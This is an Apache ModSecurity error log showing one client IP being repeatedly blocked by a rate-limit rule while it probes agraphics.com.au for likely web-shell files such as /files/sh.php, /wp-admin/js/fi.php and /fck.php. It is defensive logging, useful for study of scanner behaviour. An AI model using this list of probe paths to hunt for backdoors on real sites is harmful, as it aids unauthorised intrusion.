[Fri Feb 27 08:12:41.902364 2026] [:error] [pid 42658:tid 42669] [client 51.12.82.80:24123] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aaDheYzcoYl3nRbu1ja4WAAAAgk"]
[Fri Feb 27 08:12:42.538457 2026] [:error] [pid 42435:tid 42461] [client 51.12.82.80:30793] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aaDheh5hHLnaukp_y9-yfAAAAZU"]
[Fri Feb 27 08:12:43.076522 2026] [:error] [pid 5365:tid 5375] [client 51.12.82.80:4884] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aaDhe5YAa8J3tYxdG3yjagAAAQg"]
[Fri Feb 27 08:12:43.686801 2026] [:error] [pid 42563:tid 42593] [client 51.12.82.80:18745] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/page.php"] [unique_id "aaDhe3KL5BclZy73IRH-AgAAAdc"]
[Fri Feb 27 08:12:44.266841 2026] [:error] [pid 42435:tid 42450] [client 51.12.82.80:8958] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aaDhfB5hHLnaukp_y9-ygwAAAYo"]
[Fri Feb 27 08:12:44.804738 2026] [:error] [pid 42435:tid 42442] [client 51.12.82.80:18731] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aaDhfB5hHLnaukp_y9-yhAAAAYI"]
[Fri Feb 27 08:12:45.344940 2026] [:error] [pid 5365:tid 5387] [client 51.12.82.80:16965] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aaDhfZYAa8J3tYxdG3yjcgAAARQ"]
[Fri Feb 27 08:12:45.916780 2026] [:error] [pid 4081:tid 4091] [client 51.12.82.80:21183] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin1.php"] [unique_id "aaDhfQ55mnr35z8h7t36igAAAMg"]
[Fri Feb 27 08:12:46.569884 2026] [:error] [pid 3974:tid 4061] [client 51.12.82.80:2416] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/load.php"] [unique_id "aaDhfnp-fQtdOYjkuFvveQAAAFg"]
[Fri Feb 27 08:12:47.162140 2026] [:error] [pid 5365:tid 5379] [client 51.12.82.80:21165] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/load.php"] [unique_id "aaDhf5YAa8J3tYxdG3yjdwAAAQw"]
[Fri Feb 27 08:12:47.741032 2026] [:error] [pid 5365:tid 5378] [client 51.12.82.80:23047] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/load.php"] [unique_id "aaDhf5YAa8J3tYxdG3yjewAAAQs"]
[Fri Feb 27 08:12:48.273817 2026] [:error] [pid 5365:tid 5374] [client 51.12.82.80:17007] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/load.php"] [unique_id "aaDhgJYAa8J3tYxdG3yjgQAAAQc"]
[Fri Feb 27 08:12:48.897984 2026] [:error] [pid 42658:tid 42666] [client 51.12.82.80:22862] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/8.php"] [unique_id "aaDhgIzcoYl3nRbu1ja4YAAAAgY"]
[Fri Feb 27 08:12:49.478586 2026] [:error] [pid 4081:tid 4101] [client 51.12.82.80:22878] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/8.php"] [unique_id "aaDhgQ55mnr35z8h7t36jAAAANI"]
[Fri Feb 27 08:12:50.070339 2026] [:error] [pid 42658:tid 42664] [client 51.12.82.80:23091] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/8.php"] [unique_id "aaDhgozcoYl3nRbu1ja4ZgAAAgQ"]
[Fri Feb 27 08:12:50.644371 2026] [:error] [pid 4081:tid 4090] [client 51.12.82.80:8956] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/8.php"] [unique_id "aaDhgg55mnr35z8h7t36jQAAAMc"]
[Fri Feb 27 08:12:51.185771 2026] [:error] [pid 4081:tid 4088] [client 51.12.82.80:18503] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/sh.php"] [unique_id "aaDhgw55mnr35z8h7t36jgAAAMU"]
[Fri Feb 27 08:12:51.843341 2026] [:error] [pid 42658:tid 42672] [client 51.12.82.80:18253] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/sh.php"] [unique_id "aaDhg4zcoYl3nRbu1ja4awAAAgw"]
[Fri Feb 27 08:12:52.493801 2026] [:error] [pid 42658:tid 42674] [client 51.12.82.80:17000] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/sh.php"] [unique_id "aaDhhIzcoYl3nRbu1ja4bgAAAg4"]
[Fri Feb 27 08:12:53.106692 2026] [:error] [pid 42563:tid 42568] [client 51.12.82.80:18706] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/sh.php"] [unique_id "aaDhhXKL5BclZy73IRH-BwAAAcA"]
[Fri Feb 27 08:12:53.691567 2026] [:error] [pid 5365:tid 5376] [client 51.12.82.80:2104] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/start.php"] [unique_id "aaDhhZYAa8J3tYxdG3yjjwAAAQk"]
[Fri Feb 27 08:12:54.281687 2026] [:error] [pid 5365:tid 5381] [client 51.12.82.80:22899] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/start.php"] [unique_id "aaDhhpYAa8J3tYxdG3yjkAAAAQ4"]
[Fri Feb 27 08:12:54.845527 2026] [:error] [pid 42658:tid 42675] [client 51.12.82.80:10261] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/start.php"] [unique_id "aaDhhozcoYl3nRbu1ja4cgAAAg8"]
[Fri Feb 27 08:12:55.421367 2026] [:error] [pid 5365:tid 5383] [client 51.12.82.80:12963] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/start.php"] [unique_id "aaDhh5YAa8J3tYxdG3yjlAAAARA"]
[Fri Feb 27 08:12:55.991856 2026] [:error] [pid 42563:tid 42581] [client 51.12.82.80:18504] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/xaw.php"] [unique_id "aaDhh3KL5BclZy73IRH-CgAAAcs"]
[Fri Feb 27 08:12:56.615317 2026] [:error] [pid 42563:tid 42592] [client 51.12.82.80:22402] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/xaw.php"] [unique_id "aaDhiHKL5BclZy73IRH-DAAAAdY"]
[Fri Feb 27 08:12:57.161229 2026] [:error] [pid 5365:tid 5386] [client 51.12.82.80:10285] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/xaw.php"] [unique_id "aaDhiZYAa8J3tYxdG3yjmgAAARM"]
[Fri Feb 27 08:12:57.766508 2026] [:error] [pid 3975:tid 4014] [client 51.12.82.80:2565] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/files/xaw.php"] [unique_id "aaDhiRMVp0-T2hD76b3M6gAAAIQ"]
[Fri Feb 27 08:12:58.412372 2026] [:error] [pid 42435:tid 42449] [client 51.12.82.80:16227] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaDhih5hHLnaukp_y9-ylgAAAYk"]
[Fri Feb 27 08:12:58.977773 2026] [:error] [pid 42563:tid 42569] [client 51.12.82.80:18719] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaDhinKL5BclZy73IRH-IAAAAcE"]
[Fri Feb 27 08:12:59.581610 2026] [:error] [pid 42563:tid 42593] [client 51.12.82.80:29110] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaDhi3KL5BclZy73IRH-JQAAAdc"]
[Fri Feb 27 08:13:00.125169 2026] [:error] [pid 21329:tid 21401] [client 51.12.82.80:2052] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aaDhjJvQWnde-MjcQ1F8wwAAAVI"]
[Fri Feb 27 08:13:00.717713 2026] [:error] [pid 3974:tid 4035] [client 51.12.82.80:4874] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wc49.php"] [unique_id "aaDhjHp-fQtdOYjkuFvvegAAAEE"]
[Fri Feb 27 08:13:01.383359 2026] [:error] [pid 42435:tid 42456] [client 51.12.82.80:22849] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wc49.php"] [unique_id "aaDhjR5hHLnaukp_y9-ymgAAAZA"]
[Fri Feb 27 08:13:01.938342 2026] [:error] [pid 5365:tid 5369] [client 51.12.82.80:16202] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wc49.php"] [unique_id "aaDhjZYAa8J3tYxdG3yjpwAAAQI"]
[Fri Feb 27 08:13:02.490219 2026] [:error] [pid 42435:tid 42443] [client 51.12.82.80:22435] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wc49.php"] [unique_id "aaDhjh5hHLnaukp_y9-ynQAAAYM"]
[Fri Feb 27 08:13:03.087313 2026] [:error] [pid 21329:tid 21404] [client 51.12.82.80:19427] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TL.php"] [unique_id "aaDhj5vQWnde-MjcQ1F8zAAAAVU"]
[Fri Feb 27 08:13:03.635971 2026] [:error] [pid 21329:tid 21397] [client 51.12.82.80:35183] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TL.php"] [unique_id "aaDhj5vQWnde-MjcQ1F8zQAAAU4"]
[Fri Feb 27 08:13:04.164935 2026] [:error] [pid 42435:tid 42461] [client 51.12.82.80:29112] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TL.php"] [unique_id "aaDhkB5hHLnaukp_y9-yogAAAZU"]
[Fri Feb 27 08:13:04.709241 2026] [:error] [pid 21329:tid 21398] [client 51.12.82.80:10263] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/TL.php"] [unique_id "aaDhkJvQWnde-MjcQ1F80AAAAU8"]
[Fri Feb 27 08:13:05.283715 2026] [:error] [pid 42563:tid 42575] [client 51.12.82.80:2579] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "aaDhkXKL5BclZy73IRH-MQAAAcc"]
[Fri Feb 27 08:13:05.808548 2026] [:error] [pid 42563:tid 42587] [client 51.12.82.80:8904] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "aaDhkXKL5BclZy73IRH-MgAAAdE"]
[Fri Feb 27 08:13:09.372000 2026] [:error] [pid 53572:tid 53579] [client 51.12.82.80:16999] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "aaDhlTIt6h9cL2-penYs6AAAAAI"]
[Fri Feb 27 08:13:09.918915 2026] [:error] [pid 53572:tid 53592] [client 51.12.82.80:23009] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sys.php"] [unique_id "aaDhlTIt6h9cL2-penYs7wAAAA8"]
[Fri Feb 27 08:13:10.447211 2026] [:error] [pid 53572:tid 53598] [client 51.12.82.80:27572] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fck.php"] [unique_id "aaDhljIt6h9cL2-penYs9wAAABU"]
[Fri Feb 27 08:13:10.998962 2026] [:error] [pid 53573:tid 53607] [client 51.12.82.80:8231] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fck.php"] [unique_id "aaDhlhPJaCbFB2BWKcf6mgAAAIM"]
[Fri Feb 27 08:13:11.558451 2026] [:error] [pid 53572:tid 53601] [client 51.12.82.80:17520] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fck.php"] [unique_id "aaDhlzIt6h9cL2-penYs-wAAABg"]
[Fri Feb 27 08:13:12.107776 2026] [:error] [pid 53572:tid 53579] [client 51.12.82.80:16999] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fck.php"] [unique_id "aaDhmDIt6h9cL2-penYs_QAAAAI"]
[Fri Feb 27 08:13:12.641343 2026] [:error] [pid 53574:tid 53633] [client 51.12.82.80:30692] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aaDhmAnAgABR7uoOZTvlywAAAMI"]
[Fri Feb 27 08:13:13.179456 2026] [:error] [pid 53574:tid 53634] [client 51.12.82.80:19453] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aaDhmQnAgABR7uoOZTvlzQAAAMM"]
[Fri Feb 27 08:13:13.710367 2026] [:error] [pid 53659:tid 53671] [client 51.12.82.80:19418] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aaDhmSqRZk6OYWF729RD9wAAAUo"]
[Fri Feb 27 08:13:14.246768 2026] [:error] [pid 53574:tid 53638] [client 51.12.82.80:11030] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x123x.php"] [unique_id "aaDhmgnAgABR7uoOZTvl0QAAAMc"]
[Fri Feb 27 08:13:14.836416 2026] [:error] [pid 53659:tid 53677] [client 51.12.82.80:35191] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aaDhmiqRZk6OYWF729RD-gAAAVA"]
[Fri Feb 27 08:13:15.376939 2026] [:error] [pid 53574:tid 53644] [client 51.12.82.80:27552] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aaDhmwnAgABR7uoOZTvl1gAAAM0"]
[Fri Feb 27 08:13:15.910461 2026] [:error] [pid 53572:tid 53594] [client 51.12.82.80:31354] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aaDhmzIt6h9cL2-penYtBQAAABE"]
[Fri Feb 27 08:13:16.496960 2026] [:error] [pid 53573:tid 53617] [client 51.12.82.80:24039] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-michan.php"] [unique_id "aaDhnBPJaCbFB2BWKcf6ogAAAI0"]
